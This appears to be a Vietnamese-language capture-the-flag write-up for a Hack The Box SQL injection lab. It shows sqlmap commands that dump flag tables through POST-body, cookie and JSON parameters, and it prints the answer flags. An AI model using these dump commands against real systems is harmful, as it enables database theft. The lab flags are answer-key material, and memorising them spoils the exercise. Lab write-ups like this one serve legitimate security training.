1. What's the contents of table flag2? (Case #2)

Sao chép request của case#2 vào file Case2.txt

A screenshot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

Sử dụng công cụ sqlmap quét lỗ hổng SQL Injection , nếu có dump tất cả dữ liệu

```bash

sqlmap -r Case2.txt --batch --dump

```

A screenshot of a computer

Description automatically generated

P/s: HTB{700\_much\_c0n6r475\_0n\_p057\_r3qu357}

1. What's the contents of table flag3? (Case #3)

A screenshot of a computer

Description automatically generated

Quét lỗ hổng SQL bằng sqlmap

```bash

sqlmap -r Case3.txt -p cookie -T flag3 --batch –dump

```

A screen shot of a computer

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A screenshot of a computer

Description automatically generated

P/s: HTB{c00k13\_m0n573r\_15\_7h1nk1n6\_0f\_6r475}

1. What's the contents of table flag4? (Case #4)

Lưu yêu cầu vào 1 file Case4.txt

A screenshot of a computer

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Quét lỗ hổng SQL qua công cụ sqlmap

```bash

sqlmap -r Case4.txt -T flag4 --batch --dump

```

A screen shot of a computer

Description automatically generated

A screenshot of a computer

Description automatically generated

P/s: HTB{j450n\_v00rh335\_53nd5\_6r475}